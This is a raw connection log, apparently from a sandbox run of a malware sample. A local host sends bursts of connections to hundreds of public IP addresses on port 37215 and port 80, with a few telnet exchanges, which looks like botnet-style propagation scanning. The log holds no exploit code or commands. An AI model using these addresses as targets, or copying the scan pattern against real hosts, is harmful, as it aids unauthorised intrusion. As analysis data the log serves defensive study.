Dec 3, 2024 23:16:44.390455008 CET	40597	37215	192.168.2.23	41.36.11.10
Dec 3, 2024 23:16:44.390460014 CET	40597	37215	192.168.2.23	156.147.183.109
Dec 3, 2024 23:16:44.390460014 CET	40597	37215	192.168.2.23	156.210.205.22
Dec 3, 2024 23:16:44.390474081 CET	40597	37215	192.168.2.23	197.34.80.56
Dec 3, 2024 23:16:44.390484095 CET	40597	37215	192.168.2.23	156.151.189.147
Dec 3, 2024 23:16:44.390484095 CET	40597	37215	192.168.2.23	156.219.80.96
Dec 3, 2024 23:16:44.390496969 CET	40597	37215	192.168.2.23	197.234.172.74
Dec 3, 2024 23:16:44.390506983 CET	40597	37215	192.168.2.23	156.227.75.178
Dec 3, 2024 23:16:44.390506983 CET	40597	37215	192.168.2.23	156.213.123.24
Dec 3, 2024 23:16:44.390520096 CET	40597	37215	192.168.2.23	156.111.145.42
Dec 3, 2024 23:16:44.390525103 CET	40597	37215	192.168.2.23	156.119.120.254
Dec 3, 2024 23:16:44.390527964 CET	40597	37215	192.168.2.23	41.190.239.58
Dec 3, 2024 23:16:44.390527964 CET	40597	37215	192.168.2.23	41.69.141.152
Dec 3, 2024 23:16:44.390533924 CET	40597	37215	192.168.2.23	41.48.196.141
Dec 3, 2024 23:16:44.390541077 CET	40597	37215	192.168.2.23	156.123.75.28
Dec 3, 2024 23:16:44.390542030 CET	40597	37215	192.168.2.23	41.163.12.95
Dec 3, 2024 23:16:44.390542030 CET	40597	37215	192.168.2.23	197.254.154.139
Dec 3, 2024 23:16:44.390542984 CET	40597	37215	192.168.2.23	156.28.123.99
Dec 3, 2024 23:16:44.390542030 CET	40597	37215	192.168.2.23	197.160.32.229
Dec 3, 2024 23:16:44.390557051 CET	40597	37215	192.168.2.23	197.242.242.35
Dec 3, 2024 23:16:44.390557051 CET	40597	37215	192.168.2.23	156.11.28.49
Dec 3, 2024 23:16:44.390567064 CET	40597	37215	192.168.2.23	156.215.249.176
Dec 3, 2024 23:16:44.390587091 CET	40597	37215	192.168.2.23	197.1.190.6
Dec 3, 2024 23:16:44.390587091 CET	40597	37215	192.168.2.23	41.190.236.190
Dec 3, 2024 23:16:44.390605927 CET	40597	37215	192.168.2.23	156.171.255.157
Dec 3, 2024 23:16:44.390605927 CET	40597	37215	192.168.2.23	156.200.94.175
Dec 3, 2024 23:16:44.390609980 CET	40597	37215	192.168.2.23	41.158.90.26
Dec 3, 2024 23:16:44.390609980 CET	40597	37215	192.168.2.23	197.37.107.96
Dec 3, 2024 23:16:44.390625954 CET	40597	37215	192.168.2.23	41.146.100.255
Dec 3, 2024 23:16:44.390633106 CET	40597	37215	192.168.2.23	156.215.106.18
Dec 3, 2024 23:16:44.390634060 CET	40597	37215	192.168.2.23	197.186.201.228
Dec 3, 2024 23:16:44.390638113 CET	40597	37215	192.168.2.23	197.11.141.225
Dec 3, 2024 23:16:44.390638113 CET	40597	37215	192.168.2.23	41.16.16.148
Dec 3, 2024 23:16:44.390640020 CET	40597	37215	192.168.2.23	197.61.5.128
Dec 3, 2024 23:16:44.390655994 CET	40597	37215	192.168.2.23	41.157.85.177
Dec 3, 2024 23:16:44.390672922 CET	40597	37215	192.168.2.23	41.205.14.60
Dec 3, 2024 23:16:44.390672922 CET	40597	37215	192.168.2.23	41.1.169.188
Dec 3, 2024 23:16:44.390676022 CET	40597	37215	192.168.2.23	197.34.182.58
Dec 3, 2024 23:16:44.390688896 CET	40597	37215	192.168.2.23	156.244.175.60
Dec 3, 2024 23:16:44.390688896 CET	40597	37215	192.168.2.23	197.81.70.123
Dec 3, 2024 23:16:44.390692949 CET	40597	37215	192.168.2.23	156.156.194.56
Dec 3, 2024 23:16:44.390695095 CET	40597	37215	192.168.2.23	41.172.222.173
Dec 3, 2024 23:16:44.390711069 CET	40597	37215	192.168.2.23	197.101.87.176
Dec 3, 2024 23:16:44.390711069 CET	40597	37215	192.168.2.23	156.134.191.150
Dec 3, 2024 23:16:44.390712976 CET	40597	37215	192.168.2.23	156.35.134.172
Dec 3, 2024 23:16:44.390733957 CET	40597	37215	192.168.2.23	156.252.98.127
Dec 3, 2024 23:16:44.390753984 CET	40597	37215	192.168.2.23	156.47.115.204
Dec 3, 2024 23:16:44.390754938 CET	40597	37215	192.168.2.23	41.242.251.93
Dec 3, 2024 23:16:44.390762091 CET	40597	37215	192.168.2.23	41.138.136.159
Dec 3, 2024 23:16:44.390762091 CET	40597	37215	192.168.2.23	197.5.72.19
Dec 3, 2024 23:16:44.390780926 CET	40597	37215	192.168.2.23	156.76.169.123
Dec 3, 2024 23:16:44.390785933 CET	40597	37215	192.168.2.23	41.233.24.216
Dec 3, 2024 23:16:44.390788078 CET	40597	37215	192.168.2.23	41.124.174.27
Dec 3, 2024 23:16:44.390788078 CET	40597	37215	192.168.2.23	41.94.205.247
Dec 3, 2024 23:16:44.390789986 CET	40597	37215	192.168.2.23	41.112.131.18
Dec 3, 2024 23:16:44.390799046 CET	40597	37215	192.168.2.23	156.239.219.167
Dec 3, 2024 23:16:44.390799046 CET	40597	37215	192.168.2.23	41.231.17.214
Dec 3, 2024 23:16:44.390813112 CET	40597	37215	192.168.2.23	197.204.244.170
Dec 3, 2024 23:16:44.390832901 CET	40597	37215	192.168.2.23	156.23.27.44
Dec 3, 2024 23:16:44.390836954 CET	40597	37215	192.168.2.23	197.74.23.174
Dec 3, 2024 23:16:44.390855074 CET	40597	37215	192.168.2.23	197.182.58.106
Dec 3, 2024 23:16:44.390855074 CET	40597	37215	192.168.2.23	156.245.40.237
Dec 3, 2024 23:16:44.390860081 CET	40597	37215	192.168.2.23	197.219.200.138
Dec 3, 2024 23:16:44.390873909 CET	40597	37215	192.168.2.23	156.170.131.71
Dec 3, 2024 23:16:44.390875101 CET	40597	37215	192.168.2.23	197.149.151.101
Dec 3, 2024 23:16:44.390876055 CET	40597	37215	192.168.2.23	156.254.244.121
Dec 3, 2024 23:16:44.390891075 CET	40597	37215	192.168.2.23	156.127.41.92
Dec 3, 2024 23:16:44.390897989 CET	40597	37215	192.168.2.23	197.133.4.101
Dec 3, 2024 23:16:44.390903950 CET	40597	37215	192.168.2.23	197.64.67.89
Dec 3, 2024 23:16:44.390903950 CET	40597	37215	192.168.2.23	41.151.155.18
Dec 3, 2024 23:16:44.390925884 CET	40597	37215	192.168.2.23	156.216.224.186
Dec 3, 2024 23:16:44.390925884 CET	40597	37215	192.168.2.23	197.238.156.127
Dec 3, 2024 23:16:44.390925884 CET	40597	37215	192.168.2.23	156.199.171.124
Dec 3, 2024 23:16:44.390928030 CET	40597	37215	192.168.2.23	197.244.75.12
Dec 3, 2024 23:16:44.390938044 CET	40597	37215	192.168.2.23	156.104.66.143
Dec 3, 2024 23:16:44.390944958 CET	40597	37215	192.168.2.23	197.241.67.200
Dec 3, 2024 23:16:44.390944958 CET	40597	37215	192.168.2.23	197.245.13.1
Dec 3, 2024 23:16:44.390952110 CET	40597	37215	192.168.2.23	41.137.221.178
Dec 3, 2024 23:16:44.390954971 CET	40597	37215	192.168.2.23	197.137.255.207
Dec 3, 2024 23:16:44.390959024 CET	40597	37215	192.168.2.23	197.147.5.241
Dec 3, 2024 23:16:44.390965939 CET	40597	37215	192.168.2.23	156.19.94.71
Dec 3, 2024 23:16:44.390965939 CET	40597	37215	192.168.2.23	156.16.70.253
Dec 3, 2024 23:16:44.390990019 CET	40597	37215	192.168.2.23	41.9.110.127
Dec 3, 2024 23:16:44.390991926 CET	40597	37215	192.168.2.23	156.111.79.138
Dec 3, 2024 23:16:44.391000986 CET	35406	80	192.168.2.23	65.244.187.18
Dec 3, 2024 23:16:44.391015053 CET	40597	37215	192.168.2.23	156.52.78.228
Dec 3, 2024 23:16:44.391021967 CET	40597	37215	192.168.2.23	197.249.147.146
Dec 3, 2024 23:16:44.391024113 CET	40597	37215	192.168.2.23	197.181.186.242
Dec 3, 2024 23:16:44.391041040 CET	40597	37215	192.168.2.23	156.62.243.139
Dec 3, 2024 23:16:44.391043901 CET	40597	37215	192.168.2.23	156.124.245.244
Dec 3, 2024 23:16:44.391043901 CET	40597	37215	192.168.2.23	197.73.20.125
Dec 3, 2024 23:16:44.391045094 CET	40597	37215	192.168.2.23	197.114.74.74
Dec 3, 2024 23:16:44.391045094 CET	40597	37215	192.168.2.23	41.16.53.98
Dec 3, 2024 23:16:44.391045094 CET	40597	37215	192.168.2.23	197.26.225.116
Dec 3, 2024 23:16:44.391045094 CET	40597	37215	192.168.2.23	156.182.198.141
Dec 3, 2024 23:16:44.391062975 CET	40597	37215	192.168.2.23	156.175.27.170
Dec 3, 2024 23:16:44.391072035 CET	40597	37215	192.168.2.23	156.83.251.245
Dec 3, 2024 23:16:44.391078949 CET	40597	37215	192.168.2.23	197.243.194.27
Dec 3, 2024 23:16:44.391097069 CET	40597	37215	192.168.2.23	197.71.131.12
Dec 3, 2024 23:16:44.391108990 CET	40597	37215	192.168.2.23	197.5.174.207
Dec 3, 2024 23:16:44.391108990 CET	40597	37215	192.168.2.23	156.69.206.128
Dec 3, 2024 23:16:44.391119003 CET	40597	37215	192.168.2.23	156.123.173.12
Dec 3, 2024 23:16:44.391130924 CET	40597	37215	192.168.2.23	197.167.44.25
Dec 3, 2024 23:16:44.391130924 CET	40597	37215	192.168.2.23	156.53.205.69
Dec 3, 2024 23:16:44.391134977 CET	40597	37215	192.168.2.23	41.96.130.122
Dec 3, 2024 23:16:44.391134977 CET	40597	37215	192.168.2.23	156.170.42.168
Dec 3, 2024 23:16:44.391134977 CET	40597	37215	192.168.2.23	41.57.18.248
Dec 3, 2024 23:16:44.391150951 CET	40597	37215	192.168.2.23	156.248.138.232
Dec 3, 2024 23:16:44.391166925 CET	40597	37215	192.168.2.23	41.189.85.241
Dec 3, 2024 23:16:44.391166925 CET	40597	37215	192.168.2.23	41.63.1.34
Dec 3, 2024 23:16:44.391185999 CET	40597	37215	192.168.2.23	41.218.5.206
Dec 3, 2024 23:16:44.391189098 CET	40597	37215	192.168.2.23	197.232.188.76
Dec 3, 2024 23:16:44.391196966 CET	40597	37215	192.168.2.23	156.198.133.157
Dec 3, 2024 23:16:44.391212940 CET	40597	37215	192.168.2.23	156.45.33.238
Dec 3, 2024 23:16:44.391213894 CET	40597	37215	192.168.2.23	156.45.61.166
Dec 3, 2024 23:16:44.391213894 CET	40597	37215	192.168.2.23	197.150.96.138
Dec 3, 2024 23:16:44.391213894 CET	40597	37215	192.168.2.23	197.231.163.67
Dec 3, 2024 23:16:44.391213894 CET	40597	37215	192.168.2.23	41.161.18.49
Dec 3, 2024 23:16:44.391216040 CET	40597	37215	192.168.2.23	41.211.170.116
Dec 3, 2024 23:16:44.391226053 CET	40597	37215	192.168.2.23	197.214.104.70
Dec 3, 2024 23:16:44.391231060 CET	40597	37215	192.168.2.23	156.57.48.177
Dec 3, 2024 23:16:44.391247988 CET	40597	37215	192.168.2.23	41.126.175.48
Dec 3, 2024 23:16:44.391249895 CET	40597	37215	192.168.2.23	156.49.8.109
Dec 3, 2024 23:16:44.391271114 CET	40597	37215	192.168.2.23	156.58.188.194
Dec 3, 2024 23:16:44.391271114 CET	40597	37215	192.168.2.23	41.110.86.181
Dec 3, 2024 23:16:44.391273022 CET	40597	37215	192.168.2.23	156.147.245.72
Dec 3, 2024 23:16:44.391287088 CET	40597	37215	192.168.2.23	197.64.183.32
Dec 3, 2024 23:16:44.391287088 CET	40597	37215	192.168.2.23	41.0.75.81
Dec 3, 2024 23:16:44.391289949 CET	40597	37215	192.168.2.23	156.165.55.242
Dec 3, 2024 23:16:44.391295910 CET	40597	37215	192.168.2.23	156.249.224.41
Dec 3, 2024 23:16:44.391295910 CET	40597	37215	192.168.2.23	156.205.10.180
Dec 3, 2024 23:16:44.391295910 CET	40597	37215	192.168.2.23	197.114.164.185
Dec 3, 2024 23:16:44.391298056 CET	40597	37215	192.168.2.23	156.98.255.175
Dec 3, 2024 23:16:44.391315937 CET	40597	37215	192.168.2.23	41.223.131.62
Dec 3, 2024 23:16:44.391315937 CET	40597	37215	192.168.2.23	156.100.255.50
Dec 3, 2024 23:16:44.391316891 CET	40597	37215	192.168.2.23	156.76.222.231
Dec 3, 2024 23:16:44.391320944 CET	40597	37215	192.168.2.23	41.210.78.170
Dec 3, 2024 23:16:44.391329050 CET	40597	37215	192.168.2.23	156.105.127.109
Dec 3, 2024 23:16:44.391330957 CET	40597	37215	192.168.2.23	156.28.173.113
Dec 3, 2024 23:16:44.391334057 CET	40597	37215	192.168.2.23	197.52.42.175
Dec 3, 2024 23:16:44.391355991 CET	40597	37215	192.168.2.23	41.7.51.124
Dec 3, 2024 23:16:44.391360998 CET	40597	37215	192.168.2.23	156.42.148.38
Dec 3, 2024 23:16:44.391612053 CET	49630	80	192.168.2.23	42.240.154.229
Dec 3, 2024 23:16:44.392479897 CET	50870	37215	192.168.2.23	156.167.218.248
Dec 3, 2024 23:16:44.392540932 CET	40822	80	192.168.2.23	41.149.225.92
Dec 3, 2024 23:16:44.393448114 CET	34608	80	192.168.2.23	84.62.102.3
Dec 3, 2024 23:16:44.394140959 CET	44668	80	192.168.2.23	200.113.220.113
Dec 3, 2024 23:16:44.394769907 CET	44512	80	192.168.2.23	46.235.103.27
Dec 3, 2024 23:16:44.395334959 CET	55486	80	192.168.2.23	149.220.102.53
Dec 3, 2024 23:16:44.396003008 CET	58044	80	192.168.2.23	136.21.160.150
Dec 3, 2024 23:16:44.396614075 CET	35958	80	192.168.2.23	168.201.150.76
Dec 3, 2024 23:16:44.397242069 CET	42584	80	192.168.2.23	110.219.87.158
Dec 3, 2024 23:16:44.397990942 CET	53596	80	192.168.2.23	133.129.90.10
Dec 3, 2024 23:16:44.398695946 CET	41688	80	192.168.2.23	104.232.51.106
Dec 3, 2024 23:16:44.399388075 CET	59554	80	192.168.2.23	114.235.208.246
Dec 3, 2024 23:16:44.399955988 CET	48844	80	192.168.2.23	169.7.213.50
Dec 3, 2024 23:16:44.400537014 CET	39980	80	192.168.2.23	92.218.24.101
Dec 3, 2024 23:16:44.401133060 CET	59668	80	192.168.2.23	200.237.140.117
Dec 3, 2024 23:16:44.401793003 CET	58852	80	192.168.2.23	89.252.75.13
Dec 3, 2024 23:16:44.402405024 CET	51540	80	192.168.2.23	150.39.56.225
Dec 3, 2024 23:16:44.403012991 CET	43742	80	192.168.2.23	61.56.27.165
Dec 3, 2024 23:16:44.403672934 CET	39842	80	192.168.2.23	89.7.20.131
Dec 3, 2024 23:16:44.404261112 CET	56316	80	192.168.2.23	36.148.176.14
Dec 3, 2024 23:16:44.404923916 CET	59972	80	192.168.2.23	83.7.64.25
Dec 3, 2024 23:16:44.405554056 CET	39918	80	192.168.2.23	65.223.32.85
Dec 3, 2024 23:16:44.406287909 CET	57554	80	192.168.2.23	138.110.243.243
Dec 3, 2024 23:16:44.406970024 CET	38990	80	192.168.2.23	138.59.212.85
Dec 3, 2024 23:16:44.407562017 CET	41916	80	192.168.2.23	20.226.95.25
Dec 3, 2024 23:16:44.408245087 CET	56050	80	192.168.2.23	128.98.121.173
Dec 3, 2024 23:16:44.408880949 CET	57592	80	192.168.2.23	182.251.205.165
Dec 3, 2024 23:16:44.409674883 CET	47478	80	192.168.2.23	134.245.15.31
Dec 3, 2024 23:16:44.410326958 CET	37826	80	192.168.2.23	4.148.73.18
Dec 3, 2024 23:16:44.410934925 CET	49544	80	192.168.2.23	76.249.167.2
Dec 3, 2024 23:16:44.411559105 CET	34534	80	192.168.2.23	51.51.22.8
Dec 3, 2024 23:16:44.412161112 CET	58552	80	192.168.2.23	64.129.209.41
Dec 3, 2024 23:16:44.412853003 CET	39048	80	192.168.2.23	50.139.5.243
Dec 3, 2024 23:16:44.413588047 CET	51552	80	192.168.2.23	212.75.146.191
Dec 3, 2024 23:16:44.414165020 CET	36488	80	192.168.2.23	81.218.86.221
Dec 3, 2024 23:16:44.414855003 CET	58542	80	192.168.2.23	152.243.171.49
Dec 3, 2024 23:16:44.415484905 CET	44466	80	192.168.2.23	79.244.180.207
Dec 3, 2024 23:16:44.416065931 CET	58004	80	192.168.2.23	138.109.0.205
Dec 3, 2024 23:16:44.416775942 CET	35828	80	192.168.2.23	194.241.133.101
Dec 3, 2024 23:16:44.417365074 CET	52398	80	192.168.2.23	161.161.6.170
Dec 3, 2024 23:16:44.418052912 CET	47056	80	192.168.2.23	65.29.189.222
Dec 3, 2024 23:16:44.418689013 CET	43422	80	192.168.2.23	20.223.0.235
Dec 3, 2024 23:16:44.419348001 CET	33856	80	192.168.2.23	82.98.126.245
Dec 3, 2024 23:16:44.419967890 CET	56630	80	192.168.2.23	89.106.217.241
Dec 3, 2024 23:16:44.420686007 CET	55886	80	192.168.2.23	104.224.174.176
Dec 3, 2024 23:16:44.421359062 CET	40132	80	192.168.2.23	185.88.53.109
Dec 3, 2024 23:16:44.422039032 CET	38802	80	192.168.2.23	76.169.54.168
Dec 3, 2024 23:16:44.422693014 CET	37196	80	192.168.2.23	206.13.15.63
Dec 3, 2024 23:16:44.436224937 CET	55162	80	192.168.2.23	144.38.20.0
Dec 3, 2024 23:16:44.436738968 CET	47602	80	192.168.2.23	101.46.179.16
Dec 3, 2024 23:16:44.437236071 CET	34774	80	192.168.2.23	196.5.126.27
Dec 3, 2024 23:16:44.437752962 CET	57322	80	192.168.2.23	88.16.203.90
Dec 3, 2024 23:16:44.438252926 CET	59452	80	192.168.2.23	120.30.121.211
Dec 3, 2024 23:16:44.438754082 CET	40606	80	192.168.2.23	72.180.203.48
Dec 3, 2024 23:16:44.439254999 CET	56920	80	192.168.2.23	106.19.131.154
Dec 3, 2024 23:16:44.439739943 CET	34042	80	192.168.2.23	58.223.72.221
Dec 3, 2024 23:16:44.440224886 CET	57278	80	192.168.2.23	188.156.0.26
Dec 3, 2024 23:16:44.440706968 CET	60496	80	192.168.2.23	86.149.195.141
Dec 3, 2024 23:16:44.441225052 CET	50530	80	192.168.2.23	198.194.160.28
Dec 3, 2024 23:16:44.441715002 CET	54510	80	192.168.2.23	108.21.86.16
Dec 3, 2024 23:16:44.442243099 CET	50482	80	192.168.2.23	161.221.196.222
Dec 3, 2024 23:16:44.442740917 CET	43612	80	192.168.2.23	209.166.64.134
Dec 3, 2024 23:16:44.443237066 CET	43722	80	192.168.2.23	131.8.138.7
Dec 3, 2024 23:16:44.443743944 CET	38240	80	192.168.2.23	205.42.223.76
Dec 3, 2024 23:16:44.444221020 CET	39092	80	192.168.2.23	119.49.209.67
Dec 3, 2024 23:16:44.444715023 CET	49334	80	192.168.2.23	209.81.157.192
Dec 3, 2024 23:16:44.445204973 CET	59588	80	192.168.2.23	36.127.250.78
Dec 3, 2024 23:16:44.445688963 CET	44054	80	192.168.2.23	52.59.102.77
Dec 3, 2024 23:16:44.446186066 CET	32818	80	192.168.2.23	12.128.53.10
Dec 3, 2024 23:16:44.446674109 CET	41322	80	192.168.2.23	64.56.86.147
Dec 3, 2024 23:16:44.447166920 CET	51842	80	192.168.2.23	186.78.42.49
Dec 3, 2024 23:16:44.447644949 CET	40424	80	192.168.2.23	179.151.244.139
Dec 3, 2024 23:16:44.448136091 CET	58076	80	192.168.2.23	123.80.89.111
Dec 3, 2024 23:16:44.448616982 CET	49716	80	192.168.2.23	210.203.159.81
Dec 3, 2024 23:16:44.449095964 CET	39812	80	192.168.2.23	14.2.153.102
Dec 3, 2024 23:16:44.449584007 CET	59886	80	192.168.2.23	181.132.251.28
Dec 3, 2024 23:16:44.450061083 CET	57190	80	192.168.2.23	204.71.210.36
Dec 3, 2024 23:16:44.450561047 CET	44250	80	192.168.2.23	176.88.220.123
Dec 3, 2024 23:16:44.451056004 CET	57612	80	192.168.2.23	71.139.246.174
Dec 3, 2024 23:16:44.451606989 CET	54802	80	192.168.2.23	131.246.4.63
Dec 3, 2024 23:16:44.452145100 CET	55888	80	192.168.2.23	144.183.136.97
Dec 3, 2024 23:16:44.452713966 CET	34928	80	192.168.2.23	184.86.41.56
Dec 3, 2024 23:16:44.453336000 CET	34882	80	192.168.2.23	131.92.253.181
Dec 3, 2024 23:16:44.479054928 CET	23	52030	217.32.184.17	192.168.2.23
Dec 3, 2024 23:16:44.479110003 CET	52030	23	192.168.2.23	217.32.184.17
Dec 3, 2024 23:16:44.479989052 CET	52030	23	192.168.2.23	217.32.184.17
Dec 3, 2024 23:16:44.505759954 CET	80	40596	185.138.149.16	192.168.2.23
Dec 3, 2024 23:16:44.505805969 CET	80	40596	198.29.2.103	192.168.2.23
Dec 3, 2024 23:16:44.505820036 CET	80	40596	53.132.117.184	192.168.2.23
Dec 3, 2024 23:16:44.505824089 CET	40596	80	192.168.2.23	185.138.149.16
Dec 3, 2024 23:16:44.505842924 CET	80	40596	129.100.184.223	192.168.2.23
Dec 3, 2024 23:16:44.505860090 CET	80	40596	45.40.116.252	192.168.2.23
Dec 3, 2024 23:16:44.505863905 CET	40596	80	192.168.2.23	53.132.117.184
Dec 3, 2024 23:16:44.505872965 CET	80	40596	205.8.224.113	192.168.2.23
Dec 3, 2024 23:16:44.505882025 CET	80	40596	95.67.114.253	192.168.2.23
Dec 3, 2024 23:16:44.505884886 CET	40596	80	192.168.2.23	129.100.184.223
Dec 3, 2024 23:16:44.505911112 CET	40596	80	192.168.2.23	95.67.114.253
Dec 3, 2024 23:16:44.505949020 CET	40596	80	192.168.2.23	198.29.2.103
Dec 3, 2024 23:16:44.505949020 CET	40596	80	192.168.2.23	45.40.116.252
Dec 3, 2024 23:16:44.505953074 CET	40596	80	192.168.2.23	205.8.224.113
Dec 3, 2024 23:16:44.505965948 CET	80	40596	97.51.40.235	192.168.2.23
Dec 3, 2024 23:16:44.505976915 CET	80	40596	18.139.163.251	192.168.2.23
Dec 3, 2024 23:16:44.505984068 CET	80	40596	44.211.149.217	192.168.2.23
Dec 3, 2024 23:16:44.505991936 CET	80	40596	80.188.51.51	192.168.2.23
Dec 3, 2024 23:16:44.506006002 CET	80	40596	71.91.163.191	192.168.2.23
Dec 3, 2024 23:16:44.506007910 CET	40596	80	192.168.2.23	97.51.40.235
Dec 3, 2024 23:16:44.506007910 CET	40596	80	192.168.2.23	18.139.163.251
Dec 3, 2024 23:16:44.506015062 CET	80	40596	32.45.19.229	192.168.2.23
Dec 3, 2024 23:16:44.506016016 CET	40596	80	192.168.2.23	44.211.149.217
Dec 3, 2024 23:16:44.506023884 CET	40596	80	192.168.2.23	80.188.51.51
Dec 3, 2024 23:16:44.506023884 CET	80	40596	222.233.128.11	192.168.2.23
Dec 3, 2024 23:16:44.506033897 CET	80	40596	208.200.14.37	192.168.2.23
Dec 3, 2024 23:16:44.506042957 CET	80	40596	106.94.26.104	192.168.2.23
Dec 3, 2024 23:16:44.506047964 CET	40596	80	192.168.2.23	32.45.19.229
Dec 3, 2024 23:16:44.506047964 CET	40596	80	192.168.2.23	71.91.163.191
Dec 3, 2024 23:16:44.506052971 CET	80	40596	95.50.159.174	192.168.2.23
Dec 3, 2024 23:16:44.506061077 CET	40596	80	192.168.2.23	222.233.128.11
Dec 3, 2024 23:16:44.506061077 CET	40596	80	192.168.2.23	208.200.14.37
Dec 3, 2024 23:16:44.506067038 CET	80	40596	143.205.153.136	192.168.2.23
Dec 3, 2024 23:16:44.506077051 CET	80	40596	54.144.70.177	192.168.2.23
Dec 3, 2024 23:16:44.506086111 CET	40596	80	192.168.2.23	106.94.26.104
Dec 3, 2024 23:16:44.506086111 CET	40596	80	192.168.2.23	95.50.159.174
Dec 3, 2024 23:16:44.506092072 CET	80	40596	105.149.56.62	192.168.2.23
Dec 3, 2024 23:16:44.506102085 CET	80	40596	193.224.144.231	192.168.2.23
Dec 3, 2024 23:16:44.506103039 CET	40596	80	192.168.2.23	143.205.153.136
Dec 3, 2024 23:16:44.506108046 CET	40596	80	192.168.2.23	54.144.70.177
Dec 3, 2024 23:16:44.506113052 CET	80	40596	34.22.74.80	192.168.2.23
Dec 3, 2024 23:16:44.506122112 CET	80	40596	59.13.45.51	192.168.2.23
Dec 3, 2024 23:16:44.506128073 CET	40596	80	192.168.2.23	105.149.56.62
Dec 3, 2024 23:16:44.506130934 CET	80	40596	108.46.44.167	192.168.2.23
Dec 3, 2024 23:16:44.506139994 CET	80	40596	178.75.233.22	192.168.2.23
Dec 3, 2024 23:16:44.506139994 CET	40596	80	192.168.2.23	193.224.144.231
Dec 3, 2024 23:16:44.506139994 CET	40596	80	192.168.2.23	34.22.74.80
Dec 3, 2024 23:16:44.506153107 CET	80	40596	188.243.47.249	192.168.2.23
Dec 3, 2024 23:16:44.506155014 CET	40596	80	192.168.2.23	59.13.45.51
Dec 3, 2024 23:16:44.506160021 CET	40596	80	192.168.2.23	108.46.44.167
Dec 3, 2024 23:16:44.506162882 CET	80	40596	38.1.171.9	192.168.2.23
Dec 3, 2024 23:16:44.506171942 CET	80	40596	129.38.201.236	192.168.2.23
Dec 3, 2024 23:16:44.506180048 CET	80	40596	161.242.14.38	192.168.2.23
Dec 3, 2024 23:16:44.506181002 CET	40596	80	192.168.2.23	178.75.233.22
Dec 3, 2024 23:16:44.506187916 CET	40596	80	192.168.2.23	188.243.47.249
Dec 3, 2024 23:16:44.506191015 CET	80	40596	178.209.10.75	192.168.2.23
Dec 3, 2024 23:16:44.506206036 CET	40596	80	192.168.2.23	129.38.201.236
Dec 3, 2024 23:16:44.506211042 CET	40596	80	192.168.2.23	161.242.14.38
Dec 3, 2024 23:16:44.506211996 CET	40596	80	192.168.2.23	38.1.171.9
Dec 3, 2024 23:16:44.506233931 CET	40596	80	192.168.2.23	178.209.10.75
Dec 3, 2024 23:16:44.506517887 CET	80	40596	193.122.47.40	192.168.2.23
Dec 3, 2024 23:16:44.506556034 CET	40596	80	192.168.2.23	193.122.47.40
Dec 3, 2024 23:16:44.506571054 CET	80	40596	152.63.102.106	192.168.2.23
Dec 3, 2024 23:16:44.506597996 CET	80	40596	9.156.190.104	192.168.2.23
Dec 3, 2024 23:16:44.506608009 CET	80	40596	44.228.173.109	192.168.2.23
Dec 3, 2024 23:16:44.506609917 CET	40596	80	192.168.2.23	152.63.102.106
Dec 3, 2024 23:16:44.506628990 CET	40596	80	192.168.2.23	9.156.190.104
Dec 3, 2024 23:16:44.506633997 CET	40596	80	192.168.2.23	44.228.173.109
Dec 3, 2024 23:16:44.506635904 CET	80	40596	146.132.188.166	192.168.2.23
Dec 3, 2024 23:16:44.506645918 CET	80	40596	155.203.22.126	192.168.2.23
Dec 3, 2024 23:16:44.506681919 CET	40596	80	192.168.2.23	155.203.22.126
Dec 3, 2024 23:16:44.506686926 CET	40596	80	192.168.2.23	146.132.188.166
Dec 3, 2024 23:16:44.506695032 CET	80	40596	85.163.131.12	192.168.2.23
Dec 3, 2024 23:16:44.506704092 CET	80	40596	126.35.94.75	192.168.2.23
Dec 3, 2024 23:16:44.506716967 CET	80	40596	204.218.0.140	192.168.2.23
Dec 3, 2024 23:16:44.506731987 CET	40596	80	192.168.2.23	85.163.131.12
Dec 3, 2024 23:16:44.506735086 CET	40596	80	192.168.2.23	126.35.94.75
Dec 3, 2024 23:16:44.506737947 CET	80	40596	34.90.54.132	192.168.2.23
Dec 3, 2024 23:16:44.506745100 CET	40596	80	192.168.2.23	204.218.0.140
Dec 3, 2024 23:16:44.506747961 CET	80	40596	60.15.139.86	192.168.2.23
Dec 3, 2024 23:16:44.506756067 CET	80	40596	101.68.185.16	192.168.2.23
Dec 3, 2024 23:16:44.506769896 CET	40596	80	192.168.2.23	34.90.54.132
Dec 3, 2024 23:16:44.506778002 CET	80	40596	58.228.81.46	192.168.2.23
Dec 3, 2024 23:16:44.506786108 CET	40596	80	192.168.2.23	101.68.185.16
Dec 3, 2024 23:16:44.506787062 CET	80	40596	50.245.104.160	192.168.2.23
Dec 3, 2024 23:16:44.506788969 CET	40596	80	192.168.2.23	60.15.139.86
Dec 3, 2024 23:16:44.506804943 CET	40596	80	192.168.2.23	58.228.81.46
Dec 3, 2024 23:16:44.506812096 CET	40596	80	192.168.2.23	50.245.104.160
Dec 3, 2024 23:16:44.506813049 CET	80	40596	112.188.51.121	192.168.2.23
Dec 3, 2024 23:16:44.506823063 CET	80	40596	120.173.20.194	192.168.2.23
Dec 3, 2024 23:16:44.506846905 CET	80	40596	70.138.159.44	192.168.2.23
Dec 3, 2024 23:16:44.506850958 CET	40596	80	192.168.2.23	112.188.51.121
Dec 3, 2024 23:16:44.506851912 CET	40596	80	192.168.2.23	120.173.20.194
Dec 3, 2024 23:16:44.506886005 CET	40596	80	192.168.2.23	70.138.159.44
Dec 3, 2024 23:16:44.506886959 CET	80	40596	64.82.106.98	192.168.2.23
Dec 3, 2024 23:16:44.506896973 CET	80	40596	121.164.6.176	192.168.2.23
Dec 3, 2024 23:16:44.506905079 CET	80	40596	103.244.79.177	192.168.2.23
Dec 3, 2024 23:16:44.506926060 CET	40596	80	192.168.2.23	64.82.106.98
Dec 3, 2024 23:16:44.506926060 CET	40596	80	192.168.2.23	121.164.6.176
Dec 3, 2024 23:16:44.506931067 CET	40596	80	192.168.2.23	103.244.79.177
Dec 3, 2024 23:16:44.506998062 CET	80	40596	207.135.6.37	192.168.2.23
Dec 3, 2024 23:16:44.507006884 CET	80	40596	73.196.74.209	192.168.2.23
Dec 3, 2024 23:16:44.507014990 CET	80	40596	45.39.109.222	192.168.2.23
Dec 3, 2024 23:16:44.507025003 CET	80	40596	143.138.13.8	192.168.2.23
Dec 3, 2024 23:16:44.507034063 CET	80	40596	202.203.78.114	192.168.2.23
Dec 3, 2024 23:16:44.507038116 CET	40596	80	192.168.2.23	207.135.6.37
Dec 3, 2024 23:16:44.507038116 CET	40596	80	192.168.2.23	73.196.74.209
Dec 3, 2024 23:16:44.507042885 CET	40596	80	192.168.2.23	45.39.109.222
